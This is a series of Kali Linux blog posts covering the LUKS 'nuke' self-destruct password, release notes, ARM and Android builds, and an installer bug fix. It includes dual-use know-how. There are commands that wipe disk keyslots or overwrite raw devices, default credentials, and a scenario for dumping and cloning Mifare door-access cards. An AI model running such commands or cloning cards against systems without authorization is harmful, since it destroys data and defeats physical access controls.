Great, now we have the encrypted header ready to be backed up. In this case, we would like to place the header somewhere that it is easily accessible. This could be as simple as on a USB thumb drive that is kept in a safe location. At this point, lets reboot and make use of the Nuke key and see how Kali responds.

So we used the Nuke key, and as expected we can no longer boot into Kali. Let’s see what happened on the actual disk by booting up into a Kali live CD and dumping the LUKS header again:

root@kali:~# cryptsetup luksDump /dev/sda5
LUKS header information for /dev/sda5
Version: 1
Cipher name: aes
Cipher mode: xts-plain64
Hash spec: sha1
Payload offset: 4096
MK bits: 512
MK digest: 04 cd d0 51 bf 57 10 f5 87 08 07 d5 c8 2a 34 24 7a 89 3b db
MK salt: 27 42 e5 a6 b2 53 7f de 00 26 d3 f8 66 fb 9e 48
16 a2 b0 a9 2c bb cc f6 ea 66 e6 b1 79 08 69 17
MK iterations: 65750
UUID: 126d0121-05e4-4f1d-94d8-bed88e8c246d
Key Slot 0: DISABLED
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED

As we can see, no keyslots are in use. The Nuke worked as expected. To restore the header back in place, it’s a simple matter of retrieving the encrypted header from your USB drive. Once we have that, we can decrypt it and conduct our restore:

root@kali:~# openssl enc -d -aes-256-cbc -in luksheader.back.enc -out luksheader.back
enter aes-256-cbc decryption password:
root@kali:~# cryptsetup luksHeaderRestore --header-backup-file luksheader.back /dev/sda5
WARNING!
========
Device /dev/sda5 already contains LUKS header. Replacing header will destroy existing keyslots.
Are you sure? (Type uppercase yes): YES
root@kali:~# cryptsetup luksDump /dev/sda5
LUKS header information for /dev/sda5
Version: 1
Cipher name: aes
Cipher mode: xts-plain64
Hash spec: sha1
Payload offset: 4096
MK bits: 512
MK digest: 04 cd d0 51 bf 57 10 f5 87 08 07 d5 c8 2a 34 24 7a 89 3b db
MK salt: 27 42 e5 a6 b2 53 7f de 00 26 d3 f8 66 fb 9e 48
16 a2 b0 a9 2c bb cc f6 ea 66 e6 b1 79 08 69 17
MK iterations: 65750
UUID: 126d0121-05e4-4f1d-94d8-bed88e8c246d
Key Slot 0: ENABLED
Iterations: 223775
Salt: 7b ee 18 9e 46 77 60 2a f6 e2 a6 13 9f 59 0a 88
7b b2 db 84 25 98 f3 ae 61 36 3a 7d 96 08 a4 49
Key material offset: 8
AF stripes: 4000
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED

Our slots are now restored. All we have to do is simply reboot and provide our normal LUKS password and the system is back to its original state.

Kali Linux 1.0.6 Release

Thu, 09 Jan 2014 00:00:00 +0000

Kernel 3.12, LUKS nuke, Amazon AMI / Google Compute images and more!

It’s been a while since our last minor release which makes 1.0.6 a more significant update than usual. With a new 3.12 kernel, a LUKS nuke feature, new Kali ARM build scripts, and Kali AMAZON AMI and Google Compute image generation scripts, not to mention numerous tool additions and updates - this release is really heavily laden with goodness. For more information about what’s new in this release, check the Kali changelog.

Kali ARM Build Scripts Now Available

This new release brings with it the introduction of the OffSec Trusted ARM image scripts - a set of slowly growing scripts that are able to build Kali Linux images for various ARM devices. These scripts will replace the growing number of actual ARM image releases we have in order to reduce the exponentially growing amount of traffic we serve on each release. We will release a short blog post about how to use these scripts in the next few days.

LUKS Nuke Patch Added to cryptsetup

A couple of days ago, we demonstrated a cool patch for cryptsetup, which introduces a self destruction feature. The response to this post was overwhelmingly positive, as many people voted to see this feature included in Kali Linux. Therefore, we included this patch into our cryptsetup package yesterday, making the luksAddNuke options available to all Kali users by default. The patch is non-invasive and will not change anything for anyone that does not want to make use of it. No action is necessary if you currently use LUKS and don’t want to utilize the key nuke feature. The updated cryptsetup package is present in Kali 1.0.6 by default. We’d like to take a moment to thank everyone who participated in the poll for voicing their opinion. This kind of feedback is very useful for us, giving us a better feel for the type of features to add in the future. In an upcoming blog post, we will take the opportunity to better explain this new feature and show you how to test it out.

Updated Instructions for Building VMware Tools with Kernel 3.12

VMware Tools always lags behind new kernels, which always causes us headaches and this time is no exception. At the time of this release, VMware Tools does not cleanly compile against kernel 3.12 and requires a set of patches. We have posted these Kali Linux VMware Tools patches on GitHub along with instructions on how to use them. We suspect that these build issues will go away in future releases of VMware Tools.

Kali Linux Amazon AMI/Google Compute Build Scripts Now Available

Yay! This was on our todo list for quite awhile and we’re happy to bring this feature out at last. A set of scripts that enables you to build your own custom Amazon AMI and Google Compute cloud images. If you intend to use the images for any real work, you should first consult with the terms of service of the cloud provider.

Separation of Kali Official Images and OffSec Contributed Images

Due to the ever growing number of ARM images OffSec is contributing as well as the high demand of more flavours of VMware images, we’ve separated the Official Kali images from OffSec contributed images. This allows us to generate more VMware image flavours (amd64, i486, i686-pae), as well as increased flexibility in future releases. To find updated VMware and custom ARM images, visit the OffSec Custom Image Download Page. Please bear with us as we update images on this server in the next few days.

Improving Kali Linux Package Features

In the past couple of weeks, @jerichodotm has been helping us add watch files to our Kali packages. These watch files allow us to monitor upstream tarball releases for updates in a much more reliable manner. Once this process is complete, we’ll be able to monitor new upstream software updates with much more ease. For example, if you want to check if there’s a new upstream release of nmap, you could do the following:

root@kali:~# apt-get install devscripts
root@kali:~# apt-get source nmap
root@kali:~# cd nmap-6.40/
root@kali:~/nmap-6.40# uscan --no-download --verbose
-- Scanning for watchfiles in .
-- Found watchfile in ./debian
-- In debian/watch, processing watchfile line:
http://nmap.org/dist/nmap-((?:\d+\.)+\d+)\.tgz
-- Found the following matching hrefs:
nmap-5.00.tgz
nmap-5.20.tgz
nmap-5.21.tgz
nmap-5.50.tgz
nmap-5.51.1.tgz
nmap-5.51.2.tgz
nmap-5.51.3.tgz
nmap-5.51.4.tgz
nmap-5.51.5.tgz
nmap-5.51.6.tgz
nmap-5.51.tgz
nmap-6.00.tgz
nmap-6.01.tgz
nmap-6.25.tgz
nmap-6.40.tgz
Newest version on remote site is 6.40, local version is 6.40
=> Package is up to date
-- Scan finished
root@kali:~/nmap-6.40#

No Re-Downloading Required

Lastly, if you already have a Kali Linux installation up and running, you don’t need to download a new ISO. You can easily upgrade your installation to the latest and greatest Kali Linux has to offer as follows:

root@kali:~# apt-get update
root@kali:~# apt-get dist-upgrade

….Engage.

We’re really happy with this release and are looking forward to completing our next goals with 1.0.7. As usual, you are welcome to visit our Kali Linux forums (which now default to HTTPS), read up on our official documentation, submit bugs and patches, or chat with us in IRC, irc.oftc.net, #kali-linux.

Shameless Plug

OffSec has recently updated its “Penetration Testing With BackTrack” online course to “Penetration Testing with Kali Linux”. If you’re looking for official, quality training on Kali Linux, this is a great place to start. We’re biased of course, but many other people seem to think so too!

Emergency Self Destruction of LUKS in Kali

Mon, 06 Jan 2014 00:00:00 +0000

Kali Linux Full Disk Encryption

As penetration testers, we often need to travel with sensitive data stored on our laptops. Of course, we use full disk encryption wherever possible, including our Kali Linux machines, which tend to contain the most sensitive materials.

Setting up full disk encryption with Kali is a simple process. The Kali installer includes a straightforward process for setting up encrypted partitions with LVM and LUKS. Once encrypted, the Kali operating system requires a password at boot time to allow the OS to boot and decrypt your drive, thus protecting this data in case your laptop is stolen. Managing decryption keys and partitions is done using the cryptsetup utility.

Nuking our Kali Linux FDE Installation

A couple of days ago, one of us had the idea of adding a “nuke” option to our Kali install. In other words, having a boot password that would destroy, rather than decrypt, the data on our drive. A few Google searches later, we found an old cryptsetup patch by Juergen Pabel which does just that, adding a “nuke” password to cryptsetup, which when used, deletes all keyslots and makes the data on the drive inaccessible. We ported this patch for a recent version of cryptsetup and posted it on GitHub.

Testing the LUKS Nuke Patch

This feature isn’t implemented yet in Kali as we wanted to gather some user feedback before applying this patch to base images. If you’d like to try it our yourself, these are the build instructions. Start by running an LVM encrypted installation in Kali and set a decryption password. Once done, download the cryptsetup package source and apply our patch to it. Proceed to build the patched package as follows:

root@kali:~# apt-get source cryptsetup
root@kali:~# git clone https://gitlab.com/kalilinux/packages/cryptsetup-nuke-keys
root@kali:~# cd cryptsetup-1.6.1/
root@kali:~/cryptsetup-1.6.1# patch -p1 < ../cryptsetup-nuke-keys/cryptsetup_1.6.1+nuke_keys.diff
patching file lib/libcryptsetup.h
patching file lib/luks1/keymanage.c
patching file lib/setup.c
patching file src/cryptsetup.c
root@kali:~/cryptsetup-1.6.1# dpkg-buildpackage -b -uc

Once the package has built, install the cryptsetup packages to get our nuke option implemented:

root@kali:~/cryptsetup-1.6.1# ls -l ../*crypt*.deb
-rw-r--r-- 1 root root 149430 Jan 4 21:34 ../cryptsetup_1.6.1-1kali0_amd64.deb
-rw-r--r-- 1 root root 250616 Jan 4 21:34 ../cryptsetup-bin_1.6.1-1kali0_amd64.deb
-rw-r--r-- 1 root root 105226 Jan 4 21:34 ../libcryptsetup4_1.6.1-1kali0_amd64.deb
-rw-r--r-- 1 root root 49580 Jan 4 21:34 ../libcryptsetup-dev_1.6.1-1kali0_amd64.deb
root@kali:~/cryptsetup-1.6.1# dpkg -i ../libcryptsetup*.deb
root@kali:~/cryptsetup-1.6.1# dpkg -i ../cryptsetup*.deb

Now that our patched cryptsetup package has been installed, we can go ahead and add a “nuke” key to our setup:

root@kali:~# cryptsetup luksAddNuke /dev/sda5
Enter any existing passphrase: (existing passphrase)
Enter new passphrase for key slot: (nuke passphrase)

Hey Dude, Where’s my Drive?

On any subsequent reboots, you will be asked for the LUKS decryption password each time as usual. If for whatever reason, you were to enter the nuke password, the saved keys would be purged rendering the data inaccessible. Should we implement this patch in the cryptsetup package? Let us know what you think via this quick poll. We’ll keep this poll open for a couple of weeks and keep you posted with any further developments of this feature:

Cryptseup Nuke Option in Kali
Add nuke features to cryptsetup ?*
- [ ] Yes, add this feature!
- [ ] Stop bothering me
- [ ] No, leave cryptsetup alone.

Update: The nuke patch has been introduced to Kali Linux and is available by default in Kali Linux v1.0.6.

Update: We’ve posted an example use-case for the Nuke feature in a later “How to nuke your encrypted Kali Linux installation” blog post.

Update: As of July 2019, Kali Linux no longer ships this cryptsetup patch, instead we introduced a cryptsetup-nuke-password package that provides a similar feature without modifying cryptsetup:

root@kali:~# apt install cryptsetup-nuke-password
root@kali:~# dpkg-reconfigure cryptsetup-nuke-password

Ultimate Pentesting PwnBox (2013) - Utilite Pro

Sun, 08 Dec 2013 00:00:00 +0000

We’re always on the lookout for and interesting ARM hardware for Kali Linux. Whether it’s a Galaxy Note or a USB stick sized SS808, we want to see Kali run on it. You can therefore imagine our excitement, when we first laid our eyes on the Utilite pro.

Utilite Pro is a quad core ARM cortex-A9 machine with up to 4 GB of RAM, up to 512 GB mSATA SSD, HDMI and DVI-D output, dual (2x) 1GB nics, a built in wireless card and 4 USB ports. And its fanless. With those type of specs, this little beauty was unlikely to skip our radars. We wanted Kali Linux on that baby, real bad.

We took this opportunity to create and publish the OffSec Kali Linux contributed ARM images, and thought we’d demonstrate the use of these scripts, and show you how to get Kali Linux on the Utilite Pro. From there, the options are endless.

The Utilite Pro came with Ubuntu preinstalled. The first thing we wanted to do, is update the machines uBoot bootloader image, to allow for support of 1.8V microSD cards:

root@utilite:~# apt-get install mtd-utils
root@utilite:~# git clone https://gitlab.com/kalilinux/build-scripts/kali-uboot-images.git uboot
root@utilite:~/uboot# ./cm-fx6-bootloader-update.sh
CompuLab CM-FX6 (Utilite) boot loader update utility 1.1 (Nov 25 2013)
>> Checking for utilities...
>> ...Done
>> Board CPU: mx6q
>> Board DRAM: 2gb
>> Looking for boot loader image file: cm-fx6-u-boot-mx6q-2gb
>> ...Found
>> Looking for SPI flash: mtd0
>> ...Found
>> Current U-Boot version in SPI flash: U-Boot 2009.08-cm-fx6-0.87+tools (Oct 06 2013 - 13:46:27)
>> New U-Boot version in file: (248K)
>> Proceed with the update?
1) Yes
2) No
#? Yes
** Do not power off or reset your computer!!!
>> Erasing SPI flash...
Erasing 4 Kibyte @ bf000 -- 100 % complete
>> ...Done
>> Writing boot loader to the SPI flash...
...........
>> ...Done
>> Checking boot loader in the SPI flash...
.
>> ...Done
>> Boot loader update succeeded!
root@utilite:~/uboot#

Once that was done, we whipped out our OffSec Trusted Contributed ARM image scripts, and let our Utilite image builder script loose. On a separate 32 bit Kali Linux machine, we set up all the pre-requisites to build our ARM image, and make sure we have at least 10GB of free space. We start with downloading and setting up the ARM cross compiler and the build scripts:

root@builder:~# git clone https://gitlab.com/kalilinux/build-scripts/kali-arm.git
Cloning into 'kali-arm-build-scripts'...
remote: Counting objects: 95, done.
remote: Compressing objects: 100% (57/57), done.
remote: Total 95 (delta 62), reused 70 (delta 37)
Unpacking objects: 100% (95/95), done.
root@builder:~# git clone https://gitlab.com/kalilinux/packages/gcc-arm-linux-gnueabihf-4-7.git
Cloning into 'gcc-arm-linux-gnueabihf-4.7'...
remote: Counting objects: 5839, done.
remote: Compressing objects: 100% (3105/3105), done.
remote: Total 5839 (delta 2559), reused 5837 (delta 2559)
Receiving objects: 100% (5839/5839), 74.64 MiB | 3.38 MiB/s, done.
Resolving deltas: 100% (2559/2559), done.
root@builder:~#

Once that’s done, we next run the build-deps scripts, which will install all the dependencies required for the build:

root@builder:~# cd kali-arm-build-scripts/
root@builder:~/kali-arm-build-scripts# ./build-deps.sh
Reading package lists... Done
Building dependency tree
Reading state information... Done
abootimg is already the newest version.
...

Now with everything in place, we kick off our Utilite image builder script, and go for a coffee, or six. The script requires a version parameter for the image, which is something we use to tag our ARM image versions. Once ready, you should get a *full* Kali Linux image which can then be dd’ed to a microSD card. Of course, you are encouraged to read the build script, and edit any installation parameters or packages to your needs:

root@builder:~/kali-arm-build-scripts# ./utilite.sh 1.0
I: Retrieving Release
I: Retrieving Release.gpg
I: Checking Release signature
I: Valid Release signature (key id 44C6513A8E4FB3D30875F758ED444FF07D8D0BF6)
I: Retrieving Packages
I: Validating Packages
I: Resolving dependencies of required packages...
I: Resolving dependencies of base packages...
...
...
...
Cloning into 'firmware'...
remote: Counting objects: 874, done.
remote: Compressing objects: 100% (685/685), done.
remote: Total 874 (delta 181), reused 849 (delta 167)
Receiving objects: 100% (874/874), 30.17 MiB | 4.84 MiB/s, done.
Resolving deltas: 100% (181/181), done.
del devmap : loop0p2
del devmap : loop0p1
Removing temporary build files
Generating sha1sum for kali-1.0-utilite.img
Compressing kali-1.0-utilite.img
Generating sha1sum for kali-1.0-utilite.img.xz
root@builder:~/kali-arm-build-scripts#

Once the image is ready, you can find it in the utlite subdirectory created by the script:

root@builder:~/kali-arm-build-scripts# ls -l utilite-1.0/
total 334720
-rw-r--r-- 1 root root 63 Dec 7 23:48 kali-1.0-utilite.img.sha1sum
-rw-r--r-- 1 root root 342742176 Dec 7 23:52 kali-1.0-utilite.img.xz
-rw-r--r-- 1 root root 66 Dec 7 23:53 kali-1.0-utilite.img.xz.sha1sum
root@builder:~/kali-arm-build-scripts#

Extract the compressed image file, and dd it to the microSD card (in our case, sdb). Once done, pop the microSD card into the Utilite, and boot it up!

root@proxy:~/kali-arm-build-scripts# cd utilite-1.0/
root@proxy:~/kali-arm-build-scripts/utilite-1.0# 7z x kali-1.0-utilite.img.xz
7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
Processing archive: kali-1.0-utilite.img.xz
Extracting kali-1.0-utilite.img
Everything is Ok
Size: 7340032000
Compressed: 342742176
root@proxy:~/kali-arm-build-scripts/utilite-1.0# dd if=kali-1.0-utilite.img of=/dev/sdb bs=1M

Once booted, you can log into the Utlite image with root / toor credentials:

root@kali:~# uname -a
Linux kali 3.0.35-cm-fx6-4 #1 SMP Sat Dec 7 23:47:48 EST 2013 armv7l GNU/Linux
root@kali:~# cat /proc/cpuinfo
Processor : ARMv7 Processor rev 10 (v7l)
processor : 0
BogoMIPS : 790.52
processor : 1
BogoMIPS : 790.52
processor : 2
BogoMIPS : 790.52
processor : 3
BogoMIPS : 790.52
Features : swp half thumb fastmult vfp edsp neon vfpv3
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x2
CPU part : 0xc09
CPU revision : 10
Hardware : Compulab CM-FX6
Revision : 63012
Serial : 0b0991d4d81917c9
root@kali:~# cat /proc/meminfo
MemTotal: 2006440 kB
MemFree: 1922864 kB
....

Kali Linux 1.0.5 and Software Defined Radio

Thu, 05 Sep 2013 00:00:00 +0000

Today we are pleased to announce the immediate availability of Kali Linux 1.0.5 with a rollup of various tool additions, fixes, and upgrades, including our fix for the encrypted encrypted LVM installation issue that we documented last week. As usual, users with Kali already installed just need to run a simple update to get the latest goodness:

root@kali:~# apt-get update
root@kali:~# apt-get dist-upgrade

We’ve also received updated ARM images from OffSec, which bring several fixes to issues found in the 1.0.4 releases. Kali Linux has specific ARM images for 9 separate hardware devices/families, including the Raspberry Pi, Galaxy Note 10.1, BeagleBone Black, Odroid U2, Odroid XU (!) and more. While Kali Linux works on all the hardware above natively, don’t forget you can get Kali Linux installed on almost any Android phone or tablet.

Software Defined Radio (SDR) researchers will be especially pleased to know that we have made some significant tool additions in this growing field. With some great input and suggestions from @NowSec, we placed a great deal of focus in the past few weeks on adding numerous SDR tools and drivers to our arsenal:

kalibrate-rtl
gr-air-modes
RTLSDR Scanner
gr-scan
rtl-sdr
Gqrx
GR Extras
gr-baz
gr-osmosdr
gr-iqbal
gr-fcdproplus
UHD support
HackRF support
RTL2832U support
Funcube Dongle Pro+ support

We also forked GNU Radio from the Debian repositories and upgraded it to version 3.6.5.1, a task that sounds much simpler than it really is since its dependencies have dependencies.

We’re very pleased with the end result and these additions have given us the excuse to play around in the field of SDR, which is filled with great potential for research. This isn’t the end of our support for SDR, but only the beginning as we intend to combine our rock-solid stability with cutting edge device support to become the best platform for SDR research in the industry.

But Wait, There’s More!

This release of Kali Linux isn’t only about SDR, though. For our users who love hacking NFC, we have also beefed up our suite of tools for manipulating MIFARE cards with updates to libnfc, mfoc, and mfcuk along with the addition of mfterm.

We hope you enjoy this release as much as we enjoyed making it. For a complete list of what’s new in Kali Linux, be sure to check out the full changelog and if you have new tool suggestions or ideas on how we can make Kali even better, please submit them to the Kali Linux Bug Tracker.

Kali Linux on Android using Linux Deploy

Tue, 03 Sep 2013 00:00:00 +0000

Kali Linux on any Android Phone or Tablet

Getting Kali Linux to run on ARM hardware has been a major goal for us since day one. So far, we’ve built native images for the Samsung Chromebook, Odroid U2, Raspberry Pi, RK3306, Galaxy Note 10.1, CuBox, Efika MX, and BeagleBone Black to name a few. This however does not mean you cannot install Kali Linux in a chroot on almost any modern device that runs Android. In fact, the developers of Linux Deploy have made it extremely easy to get any number of Linux distributions installed in a chroot environment using a simple GUI builder.

Prerequisites

A device running Android 2.1 and above, rooted.
At least 5 GB free space on internal or external storage.
A fast, wireless internet connection.
Patience to wait for a distribution to bootstrap from the network.

Configuring Linux Deploy for Kali

There’s actually very little to be done to get Kali installed. By choosing Kali Linux in the “Distribution” tab, you’ve pretty much covered the important stuff. Optionally, you can choose your architecture, verify that the Kali mirror is correct, set your installation type and location on your Android device, etc. Generally speaking, the defaults provided by Linux Deploy are good to begin with.

Building the Kali Image

Once you are happy with all the settings, hitting the “install” button will start a Kali Linux bootstrap directly from our repositories. Depending on your Internet connection speed, this process could take a while. You’ll be downloading a base install of Kali Linux (with no tools) at minimum.

Starting up your chrooted Kali

Once the installation is complete, you can have Linux Deploy automatically mount and load up your Kali Linux chroot image. This also includes the starting of services such as SSH and VNC for easier remote access. All of this is automagically done by hitting the “start” button. You should see Linux Deploy setting up your image with output similar to the following:

At this stage, Linux Deploy has started a VNC and SSH server inside your chrooted Kali image. You can connect to the Kali session remotely using the IP address assigned to your Android device (in my case, 10.0.0.10).

Logging in to your chrooted Kali

Now you can use either a SSH or VNC client to access your Kali instance. The VNC password is “changeme” and the SSH credentials are “android” for the username (configured via Linux Deploy) and “changeme” as the password:

muts@slim:~$ ssh android@10.0.0.10
android@10.0.0.10 password:
Linux localhost 3.4.5-447845 #1 SMP PREEMPT Fri Apr 12 17:22:34 KST 2013 armv7l
Kali GNU/Linux 1.0 [running on Android via Linux Deploy]
android@localhost:~$ sudo su
root@localhost:/home/android# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/loop3 4180944 667268 3304012 17% /
tmpfs 952708 80 952628 1% /dev
tmpfs 952708 0 952708 0% /dev/shm
root@localhost:/home/android#
root@localhost:/home/android# apt-get update
Hit http://http.kali.org kali Release.gpg
Hit http://http.kali.org kali Release
Hit http://http.kali.org kali/main Sources
Hit http://http.kali.org kali/contrib Sources
Hit http://http.kali.org kali/non-free Sources
Hit http://http.kali.org kali/main armel Packages
Hit http://http.kali.org kali/contrib armel Packages
Hit http://http.kali.org kali/non-free armel Packages
Ign http://http.kali.org kali/contrib Translation-en_US
Ign http://http.kali.org kali/contrib Translation-en
Ign http://http.kali.org kali/main Translation-en_US
Ign http://http.kali.org kali/main Translation-en
Ign http://http.kali.org kali/non-free Translation-en_US
Ign http://http.kali.org kali/non-free Translation-en
Reading package lists... Done
root@localhost:/home/android#

Image Size Considerations

If left unchanged, Linux Deploy will automatically set an image size of around 4 GB, for a “naked” installation of Kali. If you would like to install additional Kali tools down the road, you might want to consider using a larger image size, which is configurable via the settings in Linux Deploy.

Local VNC Connections

We had to try a couple of VNC clients to get one to work properly. Although controlling Kali through a local VNC client isn’t the most convenient of tasks, it certainly is possible. However, we suspect that most people will be SSH’ing into this instance. The picture below was overlayed with a Kali Linux desktop screenshot taken from a Galaxy S4.

Anyone fancy a simple smartphone hardware backdoor?

Tracking and Fixing an Installer Bug

Thu, 29 Aug 2013 00:00:00 +0000

A little while back, a bug with the LVM encrypted install in Kali Linux 1.0.4 was reported in our bug tracker. This bug was high priority in our TODO as encrypted installs are an important feature in our industry so we wanted to squash this bug ASAP. This article will describe the process of debugging, identifying, and fixing this bug in Kali, and ultimately in Debian as well.

The bug itself was weird; installing Kali with the “LVM Encrypted” option would result in a failed boot once the installation was done:

The work-around suggested in the bug report indicated that the /etc/crypttab file was empty. By manually remounting the encrypted partition, repopulating it with the required parameters, and then updating the initramfs, the machine would boot successfully into the encrypted partition again. Most definately annoying and far from practical.

Now with the problem well defined, the solution seemed simple. Something was probably wrong with the way /etc/crypttab gets updated during the installation process. Our next step was to investigate the scripts that are responsible for this update and see if there are any bugs in the file update process. But how would you locate the exact script responsible for this update and how could we figure out what package it lives in?

To our rescue comes DebianInstaller. Using this set of scripts, we checked out the whole DebianInstaller source tree. This would allow us to search for the scripts that affect /etc/crypttab with much greater ease:

root@kalima:~# svn co svn://anonscm.debian.org/svn/d-i/trunk debian-installer
root@kalima:~# cd debian-installer
root@kalima:~/debian-installer# scripts/git-setup
root@kalima:~/debian-installer# mr -p checkout

Once all the repositories had been checked out, we could simply grep for any files that reference the /etc/crypttab file as follows:

root@kalima:~/debian-installer# grep -r '/etc/crypttab' * |grep -v ^manual
...
packages/partman-crypto/finish.d/crypto_config:# dm-crypt: creates /etc/crypttab entries
packages/partman-crypto/finish.d/crypto_config: echo "$target $source $keyfile $opts" >> /target/etc/crypttab
...
root@kalima:~/debian-installer#

We see above that it’s the “crypto_config” script that writes to /etc/crypttab, which is located in the partman-crypto package.

Ideally, we would like to debug this script and see where the problem is, but how would you do this in a live installation media? The answer is relatively simple - we just had to pop open a command prompt during the installation process. The trick is to invoke our debugging shell (by pressing CTRL+ALT+F2) during the right stage of the installation - in our case we needed to interrupt the installer before the crypto_config script was run but after the partman-crypto udeb was installed, so the beginning of the partitioning process would be a good spot. We proceeded to edit the /lib/partman/finish.d/55_crypto_config and added “set -x” at the start of the script:

We then let the installer do its thing and just before the installation completed, we took a peek at /var/log/syslog in another shell. To our surprise, we saw that the /etc/crypttab file *was* being updated, contrary to our initial beliefs, as can be seen in the syslog of the installation. WTH:

Aug 28 21:57:42 main-menu[954]: (process:9810): crypttab_add_entry
Aug 28 21:57:42 main-menu[954]: (process:9810): /dev/sda5
Aug 28 21:57:42 main-menu[954]: (process:9810): /var/lib/partman/devices/=dev=sda/256901120-160041009151
Aug 28 21:57:42 main-menu[954]: (process:9810): /dev/mapper/sda5_crypt
...
Aug 28 21:57:42 main-menu[954]: (process:9810): echo
Aug 28 21:57:42 main-menu[954]: (process:9810): sda5_crypt UUID=6250dbca-648b-4848-9132-cfa900ab5874 none luks

This is where we started scratching our heads. If the problem was not in the writing of this file (as we expected), then why was there an empty /etc/crypttab file after the installation? Perhaps the problem was not in partman-crypto after all, but in how live-build generates our ISOs? We tested this theory of ours by using a Kali mini installation ISO (not built via live-build) and noticed that the LVM encrypted installs were working fine when using that installation media.

We know that the live-installer uses tar to copy the whole live filesystem into a mounted /target directory and it assumes that the filesystems are empty, which is mostly true since they were just created by partman. This means that any pre-existing file can be overwritten if they are also in the live image, which was happening to /etc/crypttab in this case.

Further examination revealed that the problem was in live-installer, whereby it overwrites the generated /etc/crypttab. The live-installer already has some provisions to not overwrite /etc/fstab, so it’s just a matter of generalizing that rule and including the /etc/crypttab file as well:

$ diff --git a/debian/live-installer.postinst b/debian/live-installer.postinst
index 9a39d8d..bc40b84 100644 (file)
--- a/debian/live-installer.postinst
+++ b/debian/live-installer.postinst
@@ -8,6 +8,8 @@ db_capb backup
# Architecture and OS detection
ARCH=`udpkg --print-architecture`
OS=`udpkg --print-os`
+# Files that must not be overwritten by copy of live system
+FILES_TO_PRESERVE="/etc/fstab /etc/crypttab"
NEWLINE="
"
@@ -34,11 +36,12 @@ install_live_system () {
# symlinks there.
rmdir /target/var/lock /target/var/run 2>/dev/null || true
- # Backup pre-existing /etc/fstab as it will be overwritten by the
- # copy of the live system
- if [ -e /target/etc/fstab ] && [ ! -e /target/etc/fstab.live-installer ]; then
- mv /target/etc/fstab /target/etc/fstab.live-installer
- fi
+ # Backup files that should not be overwritten by the copy
+ for f in $FILES_TO_PRESERVE; do
+ if [ -e /target$f ] && [ ! -e /target/${f}.live-installer ]; then
+ mv /target$f /target${f}.live-installer
+ fi
+ done
for place in $PLACES; do
[ ! -e $place ] && continue
@@ -83,10 +86,12 @@ install_live_system () {
eval ${SUPPORT}_teardown
done
- # Restore the fstab file created by d-i
- if [ -e /target/etc/fstab.live-installer ]; then
- mv /target/etc/fstab.live-installer /target/etc/fstab
- fi
+ # Restore important configuration files
+ for f in $FILES_TO_PRESERVE; do
+ if [ -e /target${f}.live-installer ]; then
+ mv /target${f}.live-installer /target$f
+ fi
+ done
if [ ${PLACE_FOUND} -eq 0 ]; then
error "Could not find any live images"

The above patch fixed the issue for us, allowing encrypted LVM installs to complete and boot successfully. As with any Debian bugs we encounter, we send patches back to Debian to improve the distribution we build upon. A fix for this installer bug will come out in our next point release (1.0.5) next week. People generating their own ISO images though live-build will automatically receive the fixed package.

Kali Linux - Penetration Testing Platform

Wed, 31 Jul 2013 00:00:00 +0000

Whenever we are given the opportunity to describe Kali Linux, we use the word “powerful”. Have you ever wondered or asked yourself why exactly we consider Kali to be so “Powerful”? Why is Kali any different or better from say, an Ubuntu machine with a bunch of security tools preinstalled on it? After all, our nmap package isn’t any better than anyone else’s, is it?

Flexible Penetration Testing Platform

One of the major benefits of Kali Linux is that it’s not merely a bunch of tools pre-packaged into a Linux distribution. Kali is a real “Penetration Testing Platform” - and that’s not just a cool buzzword we use. Derived from the rock solid Debian platform, Kali is flexible enough to provide features such as:

Rolling distribution with seamless updates and upgrades.
Automated installations using preseed files including network and PXE installs.
Ability to easily create custom Kali images using live-build, with multiple WM support.
Whole disk encryption during installation.
Multiple ARM images for a wide variety of hardware
Accessibility support for blind and visually impaired users.
Bleeding edge repositories.

Each one of these features provides multiple interesting opportunities for penetration testers, security auditors, and forensics folks alike. We would like to present a few simple scenarios which we had the opportunity to implement, demonstrating just how powerful Kali Linux can be.

Scenario 1 - Simple Deployment of Kali Scanning Agents

Consider the following scenario - you are a security administrator of a multi-national corporation. You are asked to run a vulnerability scan on each of your twelve offices, located in different parts of the world. Naturally, you have an insignificant budget to complete this task and the VA results need to be submitted to management ASAP. How would you go about accomplishing this task? This would be the “Kali” way:

Deploy a minimal installation of Kali “agents” using a PXE setup and a preseed file to all locations. The agent should include an OpenSSH server, Metasploit, and OpenVAS. If this is not possible in some of your offices, you can easily create a custom Kali ISO using a live build recipe and have Kali installed in those locations manually. Either way, Kali should be configured to automatically start the SSH, metasploit, msfrpcd, and openvas services at boot time.
Once all our Kali agents are up and running, we connect to the msfrpcd service on each of them and use the metasploit to openvas bridge to kick off a local vulnerability scan in each geographic location. Once the scans are complete, we can either download the scan reports from each location, or choose to verify the exploitability of the discovered vulnerabilities by importing our scans into Metasploit and logging any successful sessions which are created.

Scenario 2 - Battery Powered Portable Mifare RFID Card Cloner

Suppose for a moment that you are a security auditor tasked to test a standard Mifare-based door system. You want to be able to dump the contents of a valid RFID card in the system in order to clone it later on. You have only a few minutes to preform the cloning task once you’ve been handed the valid card.

Install Kali Linux on an SS808 arm device, powered by a lithium battery and loop an NFC tool such as mfoc to dump any card presented to it, saving the dumps on a local SD card.
Once dumped, use the Mifare card data to create a clone of the original card - task completed!

Scenario 3 - Portable Penetration Testing Toolkit

Alright, now we’re just showing off, we know! But this screenshot was too cool to just ignore, so we had to post it.

Consider running your favorite web based security tool, such as OpenVAS, or Metasploit Pro directly from your tablet. With 4 or 8 cores, working on small ARM devices is no longer the slow and painful process it once was.

Kali Linux - A flexible, Powerful Penetration Testing Platform

Hopefully, these brief scenarios will spark your imagination and encourage you to explore all that Kali Linux has to offer and make you realize that the distribution is more than just a bunch of tools cobbled together haphazardly. We are very proud of our distribution and are committed to making it the best it can possibly be thanks to the help and suggestions of the security community.

Kali Linux 1.0.4 Summer Update Release

Thu, 25 Jul 2013 00:00:00 +0000

